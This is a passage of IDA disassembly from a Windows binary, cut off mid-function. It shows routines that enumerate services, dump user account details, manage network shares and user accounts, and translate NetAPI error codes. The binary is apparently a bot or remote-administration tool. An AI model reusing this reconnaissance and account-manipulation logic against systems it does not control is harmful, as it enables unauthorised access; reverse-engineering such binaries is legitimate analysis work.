		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41B750
		dec	eax
		jz	short loc_41B749
		dec	eax
		jz	short loc_41B742
		dec	eax
		jz	short loc_41B73B
		dec	eax
		jz	short loc_41B734
		dec	eax
		jz	short loc_41B72D
		dec	eax
		lea	eax, [ebp+Dest]
		jz	short loc_41B726
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_41B758
; ---------------------------------------------------------------------------


loc_41B726:				; CODE XREF: sub_41B681+9Cj
		push	offset aPaused	; "	Paused"
		jmp	short loc_41B758
; ---------------------------------------------------------------------------


loc_41B72D:				; CODE XREF: sub_41B681+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41B755
; ---------------------------------------------------------------------------


loc_41B734:				; CODE XREF: sub_41B681+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41B755
; ---------------------------------------------------------------------------


loc_41B73B:				; CODE XREF: sub_41B681+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_41B755
; ---------------------------------------------------------------------------


loc_41B742:				; CODE XREF: sub_41B681+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41B755
; ---------------------------------------------------------------------------


loc_41B749:				; CODE XREF: sub_41B681+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41B755
; ---------------------------------------------------------------------------


loc_41B750:				; CODE XREF: sub_41B681+87j
		push	offset aStopped	; "    Stopped"


loc_41B755:				; CODE XREF: sub_41B681+B1j
					; sub_41B681+B8j ...
		lea	eax, [ebp+Dest]


loc_41B758:				; CODE XREF: sub_41B681+A3j
					; sub_41B681+AAj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		lea	eax, [ebp+Dest]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_3	; "%s: %s (%s)"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_38C]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_41B704


loc_41B7A1:				; CODE XREF: sub_41B681+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_41B6B9


loc_41B7AA:				; CODE XREF: sub_41B681+6Cj
		push	[ebp+var_C]
		call	dword_444134	; CloseServiceHandle
		xor	eax, eax
		cmp	eax, [ebp+var_4]
		pop	edi
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ebx
		leave
		retn
sub_41B681	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7C1	proc near		; CODE XREF: sub_41B883+Ap
					; sub_41B883+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_41B7CE
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B7CE:				; CODE XREF: sub_41B7C1+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_42B07C
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		push	edi
		mov	ebx, eax
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_41B7C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B802	proc near		; CODE XREF: sub_41CB8D+243p

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_C		= dword	ptr  14h

		mov	eax, offset loc_42A09A
		call	__EH_prolog
		push	esi
		xor	esi, esi
		cmp	[esp+10h+arg_0], esi
		jnz	short loc_41B819
		xor	eax, eax
		jmp	short loc_41B875
; ---------------------------------------------------------------------------


loc_41B819:				; CODE XREF: sub_41B802+11j
		push	ebx
		push	ebp
		push	edi
		mov	edi, ds:dword_42B090
		push	esi
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[esp+30h+arg_0]
		mov	ebx, 400h
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte ptr dword_4E1F08, 1
		mov	ebp, eax
		jnz	short loc_41B85A
		or	dword_4E1F08, 1
		lea	eax, [ebp+1]
		push	eax		; unsigned int
		mov	[esp+14h+arg_0], esi
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	dword_4E1F04, eax


loc_41B85A:				; CODE XREF: sub_41B802+3Cj
		push	esi
		push	esi
		push	ebp
		push	dword_4E1F04
		push	0FFFFFFFFh
		push	[esp+24h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4E1F04
		pop	edi
		pop	ebp
		pop	ebx


loc_41B875:				; CODE XREF: sub_41B802+15j
		mov	ecx, [esp+10h+var_C]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41B802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B883(int,char *Str,int)

sub_41B883	proc near		; CODE XREF: sub_41BFBE+6Cp
					; sub_41CEAF+18Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	[ebp+arg_0]
		call	sub_41B7C1
		push	[ebp+Str]
		mov	edi, eax
		call	sub_41B7C1
		push	24h		; Val
		push	[ebp+Str]	; Str
		mov	[ebp+var_24], eax
		call	_strchr
		push	[ebp+arg_8]
		neg	eax
		sbb	eax, eax
		and	[ebp+var_1C], 0
		or	[ebp+var_14], 0FFFFFFFFh
		and	[ebp+var_10], 0
		and	eax, 80000000h
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], 7Fh
		call	sub_41B7C1
		and	[ebp+var_8], 0
		add	esp, 14h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	2
		push	edi
		call	dword_4440E8
		pop	edi
		leave
		retn
sub_41B883	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8EE	proc near		; CODE XREF: sub_41BFBE+20p
					; sub_41CB8D+1B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B7C1
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B7C1
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_444104
		pop	esi
		retn
sub_41B8EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B911	proc near		; CODE XREF: sub_41C19B+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_41B7C1
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41B7C1
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_41B7C1
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[ebp+var_20], eax
		xor	eax, eax
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4440C8
		pop	edi
		leave
		retn
sub_41B911	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B96B	proc near		; CODE XREF: sub_41C19B+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B7C1
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B7C1
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4441D4
		pop	esi
		retn
sub_41B96B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B98C(int,int,int,char *Str,int)

sub_41B98C	proc near		; CODE XREF: sub_41C19B+2Dp

Dest		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_41B7C1
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_41B7C1
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4440EC
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_41BD19
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_41BD54
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+Dest]
		push	offset aAccountS ; "Account: %S"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+Str]
		mov	ebx, [ebp+arg_8]
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+Dest]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+Dest]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+Dest]
		push	offset aCommentS ; "Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+10h]
		add	esp, 40h
		sub	eax, 0
		jz	short loc_41BAA5
		dec	eax
		jz	short loc_41BA9E
		dec	eax
		jz	short loc_41BA97
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41BAAA
; ---------------------------------------------------------------------------


loc_41BA97:				; CODE XREF: sub_41B98C+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41BAAA
; ---------------------------------------------------------------------------


loc_41BA9E:				; CODE XREF: sub_41B98C+FFj
		mov	eax, offset aUser_3 ; "User"
		jmp	short loc_41BAAA
; ---------------------------------------------------------------------------


loc_41BAA5:				; CODE XREF: sub_41B98C+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41BAAA:				; CODE XREF: sub_41B98C+109j
					; sub_41B98C+110j ...
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+Dest]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+Dest]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+Dest]
		push	offset aParametersS ; "Parameters: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+Dest]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+Dest]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+Dest]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+Dest]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+Dest]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+Dest]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+Dest]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+Dest]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+Dest]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_40123B
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_41BD45
; ---------------------------------------------------------------------------


loc_41BD19:				; CODE XREF: sub_41B98C+35j
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4382AC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		push	[ebp+arg_10]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_8]	; int
		call	sub_40123B
		add	esp, 20h


loc_41BD45:				; CODE XREF: sub_41B98C+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_41BD54
		push	[ebp+var_4]
		call	dword_444140


loc_41BD54:				; CODE XREF: sub_41B98C+40j
					; sub_41B98C+3BDj
		mov	eax, [ebp+var_8]
		pop	esi
		leave
		retn
sub_41B98C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD5A	proc near		; CODE XREF: sub_41BE8A+9Ep
					; sub_41BFBE:loc_41BFFEp ...
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41BE08
		jz	loc_41BE01
		cmp	eax, 7Bh
		ja	short loc_41BDCD
		jz	short loc_41BDC3
		cmp	eax, 5
		jz	short loc_41BDB9
		cmp	eax, 8
		jz	short loc_41BDAF
		cmp	eax, 32h
		jz	short loc_41BDA5
		cmp	eax, 35h
		jz	short loc_41BD9B
		cmp	eax, 57h
		jnz	loc_41BE57
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BD9B:				; CODE XREF: sub_41BD5A+2Cj
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDA5:				; CODE XREF: sub_41BD5A+27j
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDAF:				; CODE XREF: sub_41BD5A+22j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDB9:				; CODE XREF: sub_41BD5A+1Dj
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDC3:				; CODE XREF: sub_41BD5A+18j
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD5A+16j
		sub	eax, 7Ch
		jz	short loc_41BDFA
		sub	eax, 7C8h
		jz	short loc_41BDF3
		dec	eax
		jz	short loc_41BDE9
		dec	eax
		jnz	short loc_41BE57
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDE9:				; CODE XREF: sub_41BD5A+80j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDF3:				; CODE XREF: sub_41BD5A+7Dj
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BD5A+76j
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE01:				; CODE XREF: sub_41BD5A+Dj
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE08:				; CODE XREF: sub_41BD5A+7j
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41BE41
		jz	short loc_41BE3A
		sub	eax, 8ADh
		jz	short loc_41BE6C
		dec	eax
		dec	eax
		jz	short loc_41BE33
		dec	eax
		jz	short loc_41BE2C
		dec	eax
		dec	eax
		jnz	short loc_41BE57
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE2C:				; CODE XREF: sub_41BD5A+C5j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE33:				; CODE XREF: sub_41BD5A+C2j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE3A:				; CODE XREF: sub_41BD5A+B7j
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE41:				; CODE XREF: sub_41BD5A+B5j
		sub	eax, 8CAh
		jz	short loc_41BE73
		sub	eax, 17h
		jz	short loc_41BE6C
		sub	eax, 25h
		jz	short loc_41BE65
		sub	eax, 29h
		jz	short loc_41BE5E


loc_41BE57:				; CODE XREF: sub_41BD5A+31j
					; sub_41BD5A+83j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE5E:				; CODE XREF: sub_41BD5A+FBj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE65:				; CODE XREF: sub_41BD5A+F6j
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE6C:				; CODE XREF: sub_41BD5A+BEj
					; sub_41BD5A+F1j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_41BE78
; ---------------------------------------------------------------------------


loc_41BE73:				; CODE XREF: sub_41BD5A+ECj
		push	offset aNetworkConnect ; "Network connection not found."


loc_41BE78:				; CODE XREF: sub_41BD5A+3Cj
					; sub_41BD5A+46j ...
		push	offset byte_4E1F10 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		mov	eax, offset byte_4E1F10
		retn
sub_41BD5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BE8A(char *Source)

sub_41BE8A	proc near		; CODE XREF: sub_40274D+44CAp

Str		= word ptr -71Ch
var_31C		= byte ptr -31Ch
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 71Ch
		push	esi
		push	200h		; MaxCount
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Str]
		push	eax		; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		mov	esi, 108h
		push	eax
		mov	[ebp+var_4], esi
		call	ds:dword_42B05C	; GetComputerNameA
		push	esi		; MaxCount
		lea	eax, [ebp+var_10C]
		push	eax		; Source
		lea	eax, [ebp+var_31C]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_wcslen
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	0
		call	dword_444114
		test	eax, eax
		jnz	short loc_41BF1A
		push	offset asc_438744 ; "-"
		mov	esi, offset byte_4E1F70
		push	esi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF1A:				; CODE XREF: sub_41BE8A+7Aj
		lea	ecx, [ebp+Str]
		push	ecx
		lea	ecx, [ebp+var_31C]
		push	ecx
		call	sub_41BD5A
		push	eax
		push	offset asc_438718 ; "-"
		mov	esi, offset byte_4E1F70
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h


loc_41BF41:				; CODE XREF: sub_41BE8A+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41BE8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF46	proc near		; CODE XREF: sub_40274D:loc_406A33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41BF9C
		push	0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	dword_443400[esi]
		push	edi
		push	eax
		call	sub_41B465
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41BF8E
		push	edi
		push	off_4433FC[esi]
		push	offset asc_4387BC ; "-"


loc_41BF7E:				; CODE XREF: sub_41BF46+54j
		mov	esi, offset byte_4E2170
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41BFB9
; ---------------------------------------------------------------------------


loc_41BF8E:				; CODE XREF: sub_41BF46+2Aj
		call	sub_41B507
		push	eax
		push	edi
		push	offset unk_438790
		jmp	short loc_41BF7E
; ---------------------------------------------------------------------------


loc_41BF9C:				; CODE XREF: sub_41BF46+Cj
		lea	eax, [eax+eax*2]
		push	off_4433F8[eax*4]
		mov	esi, offset byte_4E2170
		push	offset asc_43876C ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41BFB9:				; CODE XREF: sub_41BF46+46j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_41BF46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFBE(int,char *Str,int)

sub_41BFBE	proc near		; CODE XREF: sub_40274D:loc_406B1Dp

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Str]
		test	edi, edi
		jz	loc_41C056
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41BFE7
		dec	eax
		jnz	short loc_41C036
		push	edi
		push	0
		call	sub_41B8EE
		pop	ecx
		pop	ecx
		jmp	short loc_41C032
; ---------------------------------------------------------------------------


loc_41BFE7:				; CODE XREF: sub_41BFBE+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41C024
		push	24h		; Val
		push	edi		; Str
		call	_strchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41C024
		push	57h
		pop	eax


loc_41BFFE:				; CODE XREF: sub_41BFBE+76j
		call	sub_41BD5A
		push	eax
		push	edi
		lea	eax, [esi+esi*2]
		push	off_4433F8[eax*4]
		mov	esi, offset byte_4E2370
		push	offset asc_438818 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_41C076
; ---------------------------------------------------------------------------


loc_41C024:				; CODE XREF: sub_41BFBE+2Dj
					; sub_41BFBE+3Bj
		push	[ebp+arg_8]	; int
		push	edi		; Str
		push	0		; int
		call	sub_41B883
		add	esp, 0Ch


loc_41C032:				; CODE XREF: sub_41BFBE+27j
		test	eax, eax
		jnz	short loc_41BFFE


loc_41C036:				; CODE XREF: sub_41BFBE+1Bj
		push	edi
		lea	eax, [esi+esi*2]
		push	off_4433FC[eax*4]
		mov	esi, offset byte_4E2370
		push	offset asc_4387FC ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41C076
; ---------------------------------------------------------------------------


loc_41C056:				; CODE XREF: sub_41BFBE+Aj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_4433F8[eax*4]
		mov	esi, offset byte_4E2370
		push	offset asc_4387D8 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41C076:				; CODE XREF: sub_41BFBE+64j
					; sub_41BFBE+96j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_41BFBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C07C(int,char *Str,int,int)

sub_41C07C	proc near		; CODE XREF: sub_40274D+43F9p

Dest		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_41B7C1
		xor	esi, esi
		push	esi		; int
		push	[ebp+arg_8]	; int
		mov	[ebp+var_10], eax
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+Str]	; Str
		mov	[ebp+var_4], esi
		push	[ebp+arg_0]	; int
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], esi
		call	sub_40123B
		add	esp, 18h


loc_41C0B5:				; CODE XREF: sub_41C07C+10Dj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
